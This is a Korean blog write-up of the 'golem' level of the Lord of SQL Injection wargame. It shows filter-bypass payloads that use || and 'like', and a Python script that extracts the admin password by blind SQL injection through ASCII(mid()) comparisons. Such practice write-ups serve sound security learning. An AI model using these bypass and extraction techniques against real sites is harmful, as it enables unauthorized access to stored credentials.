preg_match함수를 통해 or, and, substr, (, = 등의 입력을 막고 있다.

 

1) 비밀번호 길이 찾기

- ?pw= || id like 'admin' %26%26 length(pw) like 5%23

 

- ?pw= || id like 'admin' %26%26 length(pw) like 8%23

위처럼 비밀번호가 8임을 알 수 있다.

 

2) 비밀번호 찾기

자동화 스크립트를 통해 비밀번호 길이와 비밀번호를 동시에 구하도록 하였다.

import requests

url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
cookies = {'PHPSESSID' : 'tqe22gs5ja0r848pf9bg7ddi2f'}

len=0
while True:
    len+=1
    print(len)
    params={'pw':"' || id like 'admin' && length(pw) like {} #".format(len)}
    res=requests.get(url, params=params , cookies=cookies)
    if "Hello admin" in res.text:
        print("password length=",len)
        break
print()

arr=[]    
for k in range(1,len+1):
    for j in range(32,127):
        res = requests.get(url+"pw=' || id like 'admin' %26%26 ASCII(mid(pw,"+str(k)+",1)) like '"+str(j) ,cookies=cookies)
        
        if 'Hello admin' in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

 

비밀번호가 77d6290b임을 확인하고 url를 추가해주었더니 Clear하였다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] Bugbear  (0) 2022.10.09
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Skeleton  (0) 2022.09.18
[Lord of SQL Injection] vampire  (0) 2022.09.09
[Lord of SQL Injection] orge  (0) 2022.06.19

+ Recent posts